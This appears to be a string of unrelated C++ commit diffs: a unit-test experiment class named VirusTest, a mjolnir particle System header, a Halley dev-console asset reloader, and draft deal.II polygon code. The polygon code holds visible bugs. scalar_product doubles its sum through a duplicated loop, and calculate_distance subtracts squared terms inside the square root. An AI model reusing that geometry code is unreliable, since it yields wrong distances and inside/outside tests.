<commit_msg>Prompt changes<commit_after>// virustest_experiment.cpp
// Copyright (C) 2015 Rob Colbert <rob.isConnected@gmail.com>
// License: MIT (see LICENSE)
#include <virustest_experiment.h>
#include <virustest_exception.h>
#include <algorithm>
VirusTest::Experiment::Experiment(const std::string& name)
: m_name(name)
, m_log(spdlog::get("experiment"))
, m_result(kResultIncomplete)
{}
VirusTest::Experiment::~Experiment()
{}
const std::string&
VirusTest::Experiment::getName()
{
return m_name;
}
std::shared_ptr<VirusTest::Experiment>
VirusTest::Experiment::addChild(std::shared_ptr<Experiment> experiment) {
m_children.push_back(experiment);
return experiment;
}
bool
VirusTest::Experiment::removeChild(std::shared_ptr<Experiment> experiment) {
ChildListIterator cli = std::find(m_children.begin(), m_children.end(), experiment);
if (cli == m_children.end()) {
return false;
}
m_children.erase(cli);
return true;
}
void
VirusTest::Experiment::expect(bool predicate, const std::string& testName, const std::string& message) {
if (!predicate) {
m_log->error("test {} produced unexpected results", testName);
fail(message); // fail() throws an exception
return;
}
m_log->info("test {} PASS", testName);
}
void
VirusTest::Experiment::setResult(ExperimentResult result) {
m_result = result;
}
void
VirusTest::Experiment::pass() {
setResult(kResultPass);
m_log->info("experiment {} PASS", m_name);
}
void
VirusTest::Experiment::fail(const std::string& message) {
setResult(kResultFail);
throw new VirusTest::/*ExperimentFail*/Exception(message);
}
void
VirusTest::Experiment::incomplete(const std::string& message) {
setResult(kResultIncomplete);
throw new VirusTest::/*ExperimentIncomplete*/Exception(message);
}
VirusTest::Experiment::ExperimentResult
VirusTest::Experiment::getResult() const {
return m_result;
}
const std::string
VirusTest::Experiment::getResultText() const {
switch (m_result) {
case kResultFail:
return "kResultFail";
case kResultPass:
return "kResultPass";
case kResultIncomplete:
return "kResultIncomplete";
default:
break;
}
return "[INVALID RESULT CODE]";
}
<|endoftext|> |
<commit_before>#ifndef MJOLNIR_CORE_SYSTEM_HPP
#define MJOLNIR_CORE_SYSTEM_HPP
#include <mjolnir/core/Unit.hpp>
#include <mjolnir/core/Particle.hpp>
#include <mjolnir/core/Topology.hpp>
#include <mjolnir/core/SimulatorTraits.hpp>
#include <mjolnir/core/BoundaryCondition.hpp>
#include <mjolnir/core/RandomNumberGenerator.hpp>
#include <mjolnir/util/logger.hpp>
#include <vector>
#include <map>
#include <cassert>
namespace mjolnir
{
template<typename traitsT>
class System
{
public:
using traits_type = traitsT;
using string_type = std::string;
using real_type = typename traits_type::real_type;
using coordinate_type = typename traits_type::coordinate_type;
using boundary_type = typename traits_type::boundary_type;
using topology_type = Topology;
using attribute_type = std::map<std::string, real_type>;
using rng_type = RandomNumberGenerator<traits_type>;
using particle_type = Particle<real_type, coordinate_type>;
using particle_view_type = ParticleView<real_type, coordinate_type>;
using particle_const_view_type = ParticleConstView<real_type, coordinate_type>;
using real_container_type = std::vector<real_type>;
using coordinate_container_type = std::vector<coordinate_type>;
public:
System(const std::size_t num_particles, const boundary_type& bound)
: velocity_initialized_(false), boundary_(bound),
topology_(num_particles), attributes_(),
num_particles_(num_particles), masses_ (num_particles),
rmasses_ (num_particles), positions_(num_particles),
velocities_ (num_particles), forces_ (num_particles)
{}
~System() = default;
System(const System&) = default;
System(System&&) = default;
System& operator=(const System&) = default;
System& operator=(System&&) = default;
void initialize(rng_type& rng)
{
MJOLNIR_GET_DEFAULT_LOGGER();
MJOLNIR_LOG_FUNCTION();
if(this->velocity_initialized_)
{
MJOLNIR_LOG_NOTICE(
"velocity is already given, nothing to initialize in System");
return ;
}
assert(this->has_attribute("temperature"));
const real_type kB = physics::constants<real_type>::kB();
const real_type T_ref = this->attribute("temperature");
MJOLNIR_LOG_NOTICE("generating velocity with T = ", T_ref, "...");
// generate Maxwell-Boltzmann distribution
const real_type kBT = kB * T_ref;
for(std::size_t i=0; i<this->size(); ++i)
{
const auto vel_coef = std::sqrt(kBT / this->mass(i));
math::X(this->velocity(i)) = rng.gaussian(0, vel_coef);
math::Y(this->velocity(i)) = rng.gaussian(0, vel_coef);
math::Z(this->velocity(i)) = rng.gaussian(0, vel_coef);
}
MJOLNIR_LOG_NOTICE("done.");
return;
}
coordinate_type adjust_direction(coordinate_type dr) const noexcept
{return boundary_.adjust_direction(dr);}
coordinate_type adjust_position(coordinate_type dr) const noexcept
{return boundary_.adjust_position(dr);}
std::size_t size() const noexcept {return num_particles_;}
particle_view_type operator[](std::size_t i) noexcept
{
return particle_view_type{
masses_[i], rmasses_[i],
positions_[i], velocities_[i], forces_[i],
this->topology_.name_of (i, std::nothrow),
this->topology_.group_of(i, std::nothrow)
};
}
particle_const_view_type operator[](std::size_t i) const noexcept
{
return particle_const_view_type{
masses_[i], rmasses_[i],
positions_[i], velocities_[i], forces_[i],
this->topology_.name_of (i, std::nothrow),
this->topology_.group_of(i, std::nothrow)
};
}
particle_view_type at(std::size_t i)
{
return particle_view_type{
masses_.at(i), rmasses_.at(i),
positions_.at(i), velocities_.at(i), forces_.at(i),
topology_.name_of(i), topology_.group_of(i)
};
}
particle_const_view_type at(std::size_t i) const
{
return particle_const_view_type{
masses_.at(i), rmasses_.at(i),
positions_.at(i), velocities_.at(i), forces_.at(i),
topology_.name_of(i), topology_.group_of(i)
};
}
real_type mass (std::size_t i) const noexcept {return masses_[i];}
real_type& mass (std::size_t i) noexcept {return masses_[i];}
real_type rmass(std::size_t i) const noexcept {return rmasses_[i];}
real_type& rmass(std::size_t i) noexcept {return rmasses_[i];}
coordinate_type const& position(std::size_t i) const noexcept {return positions_[i];}
coordinate_type& position(std::size_t i) noexcept {return positions_[i];}
coordinate_type const& velocity(std::size_t i) const noexcept {return velocities_[i];}
coordinate_type& velocity(std::size_t i) noexcept {return velocities_[i];}
coordinate_type const& force (std::size_t i) const noexcept {return forces_[i];}
coordinate_type& force (std::size_t i) noexcept {return forces_[i];}
string_type const& name (std::size_t i) const noexcept {return topology_.name_of(i, std::nothrow);}
string_type& name (std::size_t i) noexcept {return topology_.name_of(i, std::nothrow);}
string_type const& group(std::size_t i) const noexcept {return topology_.group_of(i, std::nothrow);}
string_type& group(std::size_t i) noexcept {return topology_.group_of(i, std::nothrow);}
boundary_type& boundary() noexcept {return boundary_;}
boundary_type const& boundary() const noexcept {return boundary_;}
topology_type& topology() noexcept {return topology_;}
topology_type const& topology() const noexcept {return topology_;}
// system attributes like `reference temperature`, `ionic strength`, ...
// assuming it will not be called so often.
real_type attribute(const std::string& key) const {return attributes_.at(key);}
real_type& attribute(const std::string& key) {return attributes_[key];}
bool has_attribute(const std::string& key) const {return attributes_.count(key) == 1;}
bool velocity_initialized() const noexcept {return velocity_initialized_;}
bool& velocity_initialized() noexcept {return velocity_initialized_;}
private:
bool velocity_initialized_;
boundary_type boundary_;
topology_type topology_;
attribute_type attributes_;
std::size_t num_particles_;
real_container_type masses_;
real_container_type rmasses_; // r for reciprocal
coordinate_container_type positions_;
coordinate_container_type velocities_;
coordinate_container_type forces_;
// names and groups are in Topology class
};
#ifdef MJOLNIR_SEPARATE_BUILD
extern template class System<SimulatorTraits<double, UnlimitedBoundary>>;
extern template class System<SimulatorTraits<float, UnlimitedBoundary>>;
extern template class System<SimulatorTraits<double, CuboidalPeriodicBoundary>>;
extern template class System<SimulatorTraits<float, CuboidalPeriodicBoundary>>;
#endif
} // mjolnir
#endif// MJOLNIR_SYSTEM_HPP
<commit_msg>feat: add meaningful error message<commit_after>#ifndef MJOLNIR_CORE_SYSTEM_HPP
#define MJOLNIR_CORE_SYSTEM_HPP
#include <mjolnir/core/Unit.hpp>
#include <mjolnir/core/Particle.hpp>
#include <mjolnir/core/Topology.hpp>
#include <mjolnir/core/SimulatorTraits.hpp>
#include <mjolnir/core/BoundaryCondition.hpp>
#include <mjolnir/core/RandomNumberGenerator.hpp>
#include <mjolnir/util/logger.hpp>
#include <vector>
#include <map>
#include <cassert>
namespace mjolnir
{
template<typename traitsT>
class System
{
public:
using traits_type = traitsT;
using string_type = std::string;
using real_type = typename traits_type::real_type;
using coordinate_type = typename traits_type::coordinate_type;
using boundary_type = typename traits_type::boundary_type;
using topology_type = Topology;
using attribute_type = std::map<std::string, real_type>;
using rng_type = RandomNumberGenerator<traits_type>;
using particle_type = Particle<real_type, coordinate_type>;
using particle_view_type = ParticleView<real_type, coordinate_type>;
using particle_const_view_type = ParticleConstView<real_type, coordinate_type>;
using real_container_type = std::vector<real_type>;
using coordinate_container_type = std::vector<coordinate_type>;
public:
System(const std::size_t num_particles, const boundary_type& bound)
: velocity_initialized_(false), boundary_(bound),
topology_(num_particles), attributes_(),
num_particles_(num_particles), masses_ (num_particles),
rmasses_ (num_particles), positions_(num_particles),
velocities_ (num_particles), forces_ (num_particles)
{}
~System() = default;
System(const System&) = default;
System(System&&) = default;
System& operator=(const System&) = default;
System& operator=(System&&) = default;
void initialize(rng_type& rng)
{
MJOLNIR_GET_DEFAULT_LOGGER();
MJOLNIR_LOG_FUNCTION();
if(this->velocity_initialized_)
{
MJOLNIR_LOG_NOTICE(
"velocity is already given, nothing to initialize in System");
return ;
}
if(!this->has_attribute("temperature"))
{
throw std::runtime_error("[error] to generate velocity, "
"system.attributes.temperature is required.");
}
const real_type kB = physics::constants<real_type>::kB();
const real_type T_ref = this->attribute("temperature");
MJOLNIR_LOG_NOTICE("generating velocity with T = ", T_ref, "...");
// generate Maxwell-Boltzmann distribution
const real_type kBT = kB * T_ref;
for(std::size_t i=0; i<this->size(); ++i)
{
const auto vel_coef = std::sqrt(kBT / this->mass(i));
math::X(this->velocity(i)) = rng.gaussian(0, vel_coef);
math::Y(this->velocity(i)) = rng.gaussian(0, vel_coef);
math::Z(this->velocity(i)) = rng.gaussian(0, vel_coef);
}
MJOLNIR_LOG_NOTICE("done.");
return;
}
coordinate_type adjust_direction(coordinate_type dr) const noexcept
{return boundary_.adjust_direction(dr);}
coordinate_type adjust_position(coordinate_type dr) const noexcept
{return boundary_.adjust_position(dr);}
std::size_t size() const noexcept {return num_particles_;}
particle_view_type operator[](std::size_t i) noexcept
{
return particle_view_type{
masses_[i], rmasses_[i],
positions_[i], velocities_[i], forces_[i],
this->topology_.name_of (i, std::nothrow),
this->topology_.group_of(i, std::nothrow)
};
}
particle_const_view_type operator[](std::size_t i) const noexcept
{
return particle_const_view_type{
masses_[i], rmasses_[i],
positions_[i], velocities_[i], forces_[i],
this->topology_.name_of (i, std::nothrow),
this->topology_.group_of(i, std::nothrow)
};
}
particle_view_type at(std::size_t i)
{
return particle_view_type{
masses_.at(i), rmasses_.at(i),
positions_.at(i), velocities_.at(i), forces_.at(i),
topology_.name_of(i), topology_.group_of(i)
};
}
particle_const_view_type at(std::size_t i) const
{
return particle_const_view_type{
masses_.at(i), rmasses_.at(i),
positions_.at(i), velocities_.at(i), forces_.at(i),
topology_.name_of(i), topology_.group_of(i)
};
}
real_type mass (std::size_t i) const noexcept {return masses_[i];}
real_type& mass (std::size_t i) noexcept {return masses_[i];}
real_type rmass(std::size_t i) const noexcept {return rmasses_[i];}
real_type& rmass(std::size_t i) noexcept {return rmasses_[i];}
coordinate_type const& position(std::size_t i) const noexcept {return positions_[i];}
coordinate_type& position(std::size_t i) noexcept {return positions_[i];}
coordinate_type const& velocity(std::size_t i) const noexcept {return velocities_[i];}
coordinate_type& velocity(std::size_t i) noexcept {return velocities_[i];}
coordinate_type const& force (std::size_t i) const noexcept {return forces_[i];}
coordinate_type& force (std::size_t i) noexcept {return forces_[i];}
string_type const& name (std::size_t i) const noexcept {return topology_.name_of(i, std::nothrow);}
string_type& name (std::size_t i) noexcept {return topology_.name_of(i, std::nothrow);}
string_type const& group(std::size_t i) const noexcept {return topology_.group_of(i, std::nothrow);}
string_type& group(std::size_t i) noexcept {return topology_.group_of(i, std::nothrow);}
boundary_type& boundary() noexcept {return boundary_;}
boundary_type const& boundary() const noexcept {return boundary_;}
topology_type& topology() noexcept {return topology_;}
topology_type const& topology() const noexcept {return topology_;}
// system attributes like `reference temperature`, `ionic strength`, ...
// assuming it will not be called so often.
real_type attribute(const std::string& key) const {return attributes_.at(key);}
real_type& attribute(const std::string& key) {return attributes_[key];}
bool has_attribute(const std::string& key) const {return attributes_.count(key) == 1;}
bool velocity_initialized() const noexcept {return velocity_initialized_;}
bool& velocity_initialized() noexcept {return velocity_initialized_;}
private:
bool velocity_initialized_;
boundary_type boundary_;
topology_type topology_;
attribute_type attributes_;
std::size_t num_particles_;
real_container_type masses_;
real_container_type rmasses_; // r for reciprocal
coordinate_container_type positions_;
coordinate_container_type velocities_;
coordinate_container_type forces_;
// names and groups are in Topology class
};
#ifdef MJOLNIR_SEPARATE_BUILD
extern template class System<SimulatorTraits<double, UnlimitedBoundary>>;
extern template class System<SimulatorTraits<float, UnlimitedBoundary>>;
extern template class System<SimulatorTraits<double, CuboidalPeriodicBoundary>>;
extern template class System<SimulatorTraits<float, CuboidalPeriodicBoundary>>;
#endif
} // mjolnir
#endif// MJOLNIR_SYSTEM_HPP
<|endoftext|> |
<commit_before>#include "devcon/devcon_client.h"
#include "halley/net/connection/network_service.h"
#include "halley/net/connection/message_queue_tcp.h"
#include "halley/support/logger.h"
#include "halley/core/api/halley_api.h"
#include "halley/net/connection/message_queue.h"
#include "devcon/devcon_messages.h"
using namespace Halley;
DevConClient::DevConClient(const HalleyAPI& api, std::unique_ptr<NetworkService> service, const String& address, int port)
: api(api)
, service(std::move(service))
, address(address)
, port(port)
{
connect();
Logger::addSink(*this);
}
DevConClient::~DevConClient()
{
Logger::removeSink(*this);
queue.reset();
}
void DevConClient::update()
{
service->update();
for (auto& m: queue->receiveAll()) {
auto& msg = dynamic_cast<DevCon::DevConMessage&>(*m);
switch (msg.getMessageType()) {
case DevCon::MessageType::Log:
// TODO?
break;
case DevCon::MessageType::ReloadAssets:
onReceiveReloadAssets(dynamic_cast<DevCon::ReloadAssetsMsg&>(msg));
break;
default:
break;
}
}
}
void DevConClient::onReceiveReloadAssets(const DevCon::ReloadAssetsMsg& msg)
{
// Build this map first, so it gets sorted by AssetType
// The order in which asset types are reloaded is important, since they have dependencies
std::map<AssetType, std::vector<String>> byType;
for (auto& id: msg.getIds()) {
auto splitPos = id.find(':');
auto type = fromString<AssetType>(id.left(splitPos));
String name = id.mid(splitPos + 1);
byType[type].emplace_back(std::move(name));
}
// Purge assets first, to force re-loading of any affected packs
for (auto& curType: byType) {
auto& resources = api.core->getResources().ofType(curType.first);
for (auto& asset: curType.second) {
resources.purge(asset);
}
}
// Reload assets
for (auto& curType: byType) {
if (curType.first == AssetType::AudioClip) {
api.audio->pausePlayback();
}
auto& resources = api.core->getResources().ofType(curType.first);
for (auto& asset: curType.second) {
Logger::logInfo("Reloading " + curType.first + ": " + asset);
resources.reload(asset);
}
if (curType.first == AssetType::SpriteSheet) {
api.core->getResources().ofType(AssetType::Sprite).unloadAll();
}
if (curType.first == AssetType::AudioClip) {
api.audio->resumePlayback();
}
}
}
void DevConClient::connect()
{
queue = std::make_shared<MessageQueueTCP>(service->connect(address, port));
DevCon::setupMessageQueue(*queue);
}
void DevConClient::log(LoggerLevel level, const String& msg)
{
if (level != LoggerLevel::Dev) {
if (queue->isConnected()) {
queue->enqueue(std::make_unique<DevCon::LogMsg>(level, msg), 0);
}
}
}
<commit_msg>Fix a potential hot reload issue<commit_after>#include "devcon/devcon_client.h"
#include "halley/net/connection/network_service.h"
#include "halley/net/connection/message_queue_tcp.h"
#include "halley/support/logger.h"
#include "halley/core/api/halley_api.h"
#include "halley/net/connection/message_queue.h"
#include "devcon/devcon_messages.h"
using namespace Halley;
DevConClient::DevConClient(const HalleyAPI& api, std::unique_ptr<NetworkService> service, const String& address, int port)
: api(api)
, service(std::move(service))
, address(address)
, port(port)
{
connect();
Logger::addSink(*this);
}
DevConClient::~DevConClient()
{
Logger::removeSink(*this);
queue.reset();
}
void DevConClient::update()
{
service->update();
for (auto& m: queue->receiveAll()) {
auto& msg = dynamic_cast<DevCon::DevConMessage&>(*m);
switch (msg.getMessageType()) {
case DevCon::MessageType::Log:
// TODO?
break;
case DevCon::MessageType::ReloadAssets:
onReceiveReloadAssets(dynamic_cast<DevCon::ReloadAssetsMsg&>(msg));
break;
default:
break;
}
}
}
void DevConClient::onReceiveReloadAssets(const DevCon::ReloadAssetsMsg& msg)
{
// Build this map first, so it gets sorted by AssetType
// The order in which asset types are reloaded is important, since they have dependencies
std::map<AssetType, std::vector<String>> byType;
for (auto& id: msg.getIds()) {
auto splitPos = id.find(':');
auto type = fromString<AssetType>(id.left(splitPos));
String name = id.mid(splitPos + 1);
byType[type].emplace_back(std::move(name));
}
// Purge assets first, to force re-loading of any affected packs
for (auto& curType: byType) {
if (curType.first == AssetType::AudioClip) {
api.audio->pausePlayback();
}
auto& resources = api.core->getResources().ofType(curType.first);
for (auto& asset: curType.second) {
resources.purge(asset);
}
}
// Reload assets
for (auto& curType: byType) {
auto& resources = api.core->getResources().ofType(curType.first);
for (auto& asset: curType.second) {
Logger::logInfo("Reloading " + curType.first + ": " + asset);
resources.reload(asset);
}
if (curType.first == AssetType::SpriteSheet) {
api.core->getResources().ofType(AssetType::Sprite).unloadAll();
}
if (curType.first == AssetType::AudioClip) {
api.audio->resumePlayback();
}
}
}
void DevConClient::connect()
{
queue = std::make_shared<MessageQueueTCP>(service->connect(address, port));
DevCon::setupMessageQueue(*queue);
}
void DevConClient::log(LoggerLevel level, const String& msg)
{
if (level != LoggerLevel::Dev) {
if (queue->isConnected()) {
queue->enqueue(std::make_unique<DevCon::LogMsg>(level, msg), 0);
}
}
}
<|endoftext|> |
<commit_before>#include <deal.II/grid/tria.h>
#include <deal.II/grid/tria_accessor.h>
#include <deal.II/grid/tria_iterator.h>
#include <deal.II/grid/grid_generator.h>
#include <deal.II/grid/manifold_lib.h>
#include <deal.II/grid/grid_out.h>
#include <deal.II/grid/grid_tools.h>
#include <cmath>
#include <iostream>
#include <fstream>
//**********************************
// 1 x-----x-----x
// | |
// 0 x x
// | |
// -1 x-----x-----x
// -1 0 1
class myPolygon
{
public:
myPolygon(){ }
void constructPolygon(const std::vector<dealii::Point<2>> point_list){
for (unsigned int i = 0; i < point_list.size()-1; ++i)
{
segment my_segment;
my_segment.beginPoint = point_list[i];
my_segment.endPoint = point_list[i+1];
my_segment.length = std::abs(my_segment.beginPoint.distance(my_segment.endPoint));
my_segment.q_points = calculate_q_points(my_segment);
segment_list.push_back(my_segment);
vertices_list.push_back(point_list[i]);
}
for (unsigned int i = 0; i < segment_list.size(); ++i)
{
segment my_segment = segment_list[i];
my_segment.normalVector = calculate_normals(my_segment);
dealii::Point<2> segment_vector = {my_segment.endPoint[0] - my_segment.beginPoint[0],
my_segment.endPoint[1] - my_segment.beginPoint[1]};
std::cout << "Segment: [" <<my_segment.beginPoint<<"], ["<<my_segment.endPoint<<"]";
std::cout << ", normal vector: "<< my_segment.normalVector;
std::cout << ", scalar_product: " << scalar_product(segment_vector, my_segment.normalVector) << std::endl;
}
}
double scalar_product(const dealii::Point<2> a, const dealii::Point<2> b)
{
double product = 0;
for (unsigned int i = 0; i < 2; i++)
for (unsigned int i = 0; i < 2; i++)
product = product + (a[i])*(b[i]);
return product;
}
void list_segments(){
std::cout<<"Listing segments: "<<std::endl;
for (unsigned int i = 0; i < segment_list.size(); ++i)
{
segment my_segment = segment_list[i];
std::cout<<"["<<my_segment.beginPoint<<"]"<<" "<<"["<<my_segment.endPoint<<"]"<<std::endl;
}
}
void save_segments(){ // save to text file for plotting
std::remove("plot_poly");
std::ofstream ofs_poly;
ofs_poly.open ("plot_poly", std::ofstream::out | std::ofstream::app);
for (unsigned int i = 0; i < segment_list.size(); ++i)
{
segment my_segment = segment_list[i];
ofs_poly<<my_segment.beginPoint<<std::endl;
}
segment end_segment = segment_list[segment_list.size()-1];
ofs_poly<<end_segment.endPoint<<std::endl;
ofs_poly.close();
}
void save_q_points(){
std::remove("plot_q_points");
std::ofstream ofs_q_points;
ofs_q_points.open ("plot_q_points", std::ofstream::out | std::ofstream::app);
for (unsigned int i = 0; i <segment_list.size(); ++i)
{
segment my_segment = segment_list[i];
for (unsigned int j = 0; j <my_segment.q_points .size(); ++j)
ofs_q_points << my_segment.q_points[j] << std::endl;
}
ofs_q_points.close();
}
private:
struct segment{
dealii::Point<2> beginPoint;
dealii::Point<2> endPoint;
double length;
dealii::Point<2> normalVector;
std::vector<dealii::Point<2>> q_points;
std::vector<double> q_weights = {0.5000, 0.5000};
};
std::vector<dealii::Point<2>> calculate_q_points(const segment my_segment)
{
dealii::Point<2> q_point;
std::vector<dealii::Point<2>> q_points;
q_point = my_segment.beginPoint + ((my_segment.endPoint-my_segment.beginPoint) * 0.211325);
q_points.insert(q_points.end(), q_point);
q_point = my_segment.beginPoint + ((my_segment.endPoint-my_segment.beginPoint) * 0.788675);
q_points.insert(q_points.end(), q_point);
return q_points;
}
dealii::Point<2> calculate_normals (const segment my_segment) // it needs to be checked whether they are pointing outwards
{
double dx, dy;
dx = (my_segment.endPoint[0] - my_segment.beginPoint[0]) / my_segment.length;
dy = (my_segment.endPoint[1] - my_segment.beginPoint[1]) / my_segment.length;
dealii::Point<2> normalVector = {-dy, dx};
const dealii::Point<2> p = {1.0, 1.3};
std::cout<< "Is inside? "<< is_inside(p)<<std::endl;
return normalVector;
}
double calculate_distance(segment my_segment, dealii::Point<2> p){
double distance = ((my_segment.endPoint[0] - my_segment.beginPoint[0]) * (my_segment.beginPoint[1] - p[1])
- (my_segment.beginPoint[0] - p[0]) * (my_segment.endPoint[1] - my_segment.beginPoint[1]));
distance = distance / (sqrt(((my_segment.endPoint[0] - my_segment.beginPoint[0])* (my_segment.endPoint[0] - my_segment.beginPoint[0]))
- ( (my_segment.endPoint[1] - my_segment.beginPoint[1]) * (my_segment.endPoint[1] - my_segment.beginPoint[1]))));
return distance;
}
bool is_inside(const dealii::Point<2> p1){
segment my_segment = segment_list[0];
double minimum_distance = calculate_distance(my_segment, p1);
segment closest_segment = my_segment;
for (unsigned int i = 1; i <segment_list.size(); ++i)
{
segment my_segment = segment_list[i];
double distance = calculate_distance(my_segment, p1);
if(distance < minimum_distance)
{
minimum_distance = distance;
closest_segment = my_segment;
}
}
if (minimum_distance > 0.0)
return true;
else
return false;
}
std::vector<segment> segment_list;
std::vector<dealii::Point<2>> vertices_list;
};
int main()
{
myPolygon my_poly;
std::vector<dealii::Point<2>> point_list;
point_list = {{0.0,1.0}, {1.0,1.0}, {1.0,0.0}, {1.0,-1.0}, {0.0,-1.0}, {-1.0,-1.0}, {-1.0,0.0}, {-1.0,1.0}, {0.0,1.0}};
my_poly.constructPolygon(point_list);
// my_poly.list_segments();
my_poly.save_segments();
my_poly.save_q_points();
return 0;
}
<commit_msg>Changes to the is_inside function<commit_after>#include <deal.II/grid/tria.h>
#include <deal.II/grid/tria_accessor.h>
#include <deal.II/grid/tria_iterator.h>
#include <deal.II/grid/grid_generator.h>
#include <deal.II/grid/manifold_lib.h>
#include <deal.II/grid/grid_out.h>
#include <deal.II/grid/grid_tools.h>
#include <cmath>
#include <iostream>
#include <fstream>
//**********************************
// 1 x-----x-----x
// | |
// 0 x x
// | |
// -1 x-----x-----x
// -1 0 1
class myPolygon
{
public:
myPolygon(){ }
void constructPolygon(const std::vector<dealii::Point<2>> point_list){
for (unsigned int i = 0; i < point_list.size()-1; ++i)
{
segment my_segment;
my_segment.beginPoint = point_list[i];
my_segment.endPoint = point_list[i+1];
my_segment.length = std::abs(my_segment.beginPoint.distance(my_segment.endPoint));
my_segment.q_points = calculate_q_points(my_segment);
segment_list.push_back(my_segment);
vertices_list.push_back(point_list[i]);
}
for (unsigned int i = 0; i < segment_list.size(); ++i)
{
segment my_segment = segment_list[i];
my_segment.normalVector = calculate_normals(my_segment);
dealii::Point<2> segment_vector = {my_segment.endPoint[0] - my_segment.beginPoint[0],
my_segment.endPoint[1] - my_segment.beginPoint[1]};
std::cout << "Segment: [" <<my_segment.beginPoint<<"], ["<<my_segment.endPoint<<"]";
std::cout << ", normal vector: "<< my_segment.normalVector<<std::endl;
}
}
double scalar_product(const dealii::Point<2> a, const dealii::Point<2> b)
{
double product = 0;
for (unsigned int i = 0; i < 2; i++)
for (unsigned int i = 0; i < 2; i++)
product = product + (a[i])*(b[i]);
return product;
}
void list_segments(){
std::cout<<"Listing segments: "<<std::endl;
for (unsigned int i = 0; i < segment_list.size(); ++i)
{
segment my_segment = segment_list[i];
std::cout<<"["<<my_segment.beginPoint<<"]"<<" "<<"["<<my_segment.endPoint<<"]"<<std::endl;
}
}
void save_segments(){ // save to text file for plotting
std::remove("plot_poly");
std::ofstream ofs_poly;
ofs_poly.open ("plot_poly", std::ofstream::out | std::ofstream::app);
for (unsigned int i = 0; i < segment_list.size(); ++i)
{
segment my_segment = segment_list[i];
ofs_poly<<my_segment.beginPoint<<std::endl;
}
segment end_segment = segment_list[segment_list.size()-1];
ofs_poly<<end_segment.endPoint<<std::endl;
ofs_poly.close();
}
void save_q_points(){
std::remove("plot_q_points");
std::ofstream ofs_q_points;
ofs_q_points.open ("plot_q_points", std::ofstream::out | std::ofstream::app);
for (unsigned int i = 0; i <segment_list.size(); ++i)
{
segment my_segment = segment_list[i];
for (unsigned int j = 0; j <my_segment.q_points .size(); ++j)
ofs_q_points << my_segment.q_points[j] << std::endl;
}
dealii::Point<2> test_point = {2.0, 0.9};
std::cout<<"Test point: "<<test_point<<": "<<is_inside(test_point);
ofs_q_points.close();
}
// bool is_inside(const dealii::Point<2> p1){
// segment my_segment = segment_list[0];
// double minimum_distance = calculate_distance(my_segment, p1);
// segment closest_segment = my_segment;
// for (unsigned int i = 1; i <segment_list.size(); ++i)
// {
// segment my_segment = segment_list[i];
// double distance = calculate_distance(my_segment, p1);
// if(distance < minimum_distance)
// minimum_distance = distance;
// }
// if (minimum_distance > 0.0)
// return true;
// else
// return false;
// }
bool is_inside(const dealii::Point<2> p1){
segment my_segment = segment_list[0];
double minimum_distance = calculate_distance(my_segment, p1);
segment closest_segment = my_segment;
for (unsigned int i = 1; i <segment_list.size(); ++i)
{
segment my_segment = segment_list[i];
double distance = calculate_distance(my_segment, p1);
if(distance < minimum_distance)
{
minimum_distance = distance;
closest_segment = my_segment;
}
}
dealii::Point<2> point_vector = {closest_segment.beginPoint[0] - p1[0], closest_segment.beginPoint[1] - p1[1]};
if (scalar_product(closest_segment.normalVector, point_vector) > 0)
return true;
else
return false;
}
private:
struct segment{
dealii::Point<2> beginPoint;
dealii::Point<2> endPoint;
double length;
dealii::Point<2> normalVector;
std::vector<dealii::Point<2>> q_points;
std::vector<double> q_weights = {0.5000, 0.5000};
};
std::vector<segment> segment_list;
std::vector<dealii::Point<2>> vertices_list;
std::vector<dealii::Point<2>> calculate_q_points(const segment my_segment)
{
dealii::Point<2> q_point;
std::vector<dealii::Point<2>> q_points;
q_point = my_segment.beginPoint + ((my_segment.endPoint-my_segment.beginPoint) * 0.211325);
q_points.insert(q_points.end(), q_point);
q_point = my_segment.beginPoint + ((my_segment.endPoint-my_segment.beginPoint) * 0.788675);
q_points.insert(q_points.end(), q_point);
return q_points;
}
dealii::Point<2> calculate_normals (const segment my_segment) // it needs to be checked whether they are pointing outwards
{
double dx, dy;
dx = (my_segment.endPoint[0] - my_segment.beginPoint[0]) / my_segment.length;
dy = (my_segment.endPoint[1] - my_segment.beginPoint[1]) / my_segment.length;
dealii::Point<2> normalVector = {-dy, dx};
return normalVector;
}
double calculate_distance(segment my_segment, dealii::Point<2> p){
double distance = ((my_segment.endPoint[0] - my_segment.beginPoint[0]) * (my_segment.beginPoint[1] - p[1])
- (my_segment.beginPoint[0] - p[0]) * (my_segment.endPoint[1] - my_segment.beginPoint[1]));
distance = distance / (sqrt(((my_segment.endPoint[0] - my_segment.beginPoint[0])* (my_segment.endPoint[0] - my_segment.beginPoint[0]))
- ( (my_segment.endPoint[1] - my_segment.beginPoint[1]) * (my_segment.endPoint[1] - my_segment.beginPoint[1]))));
return distance;
}
};
int main()
{
myPolygon my_poly;
std::vector<dealii::Point<2>> point_list;
point_list = {{0.0,1.0}, {1.0,1.0}, {1.0,0.0}, {1.0,-1.0}, {0.0,-1.0}, {-1.0,-1.0}, {-1.0,0.0}, {-1.0,1.0}, {0.0,1.0}};
my_poly.constructPolygon(point_list);
// my_poly.list_segments();
my_poly.save_segments();
my_poly.save_q_points();
return 0;
}
<|endoftext|> |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.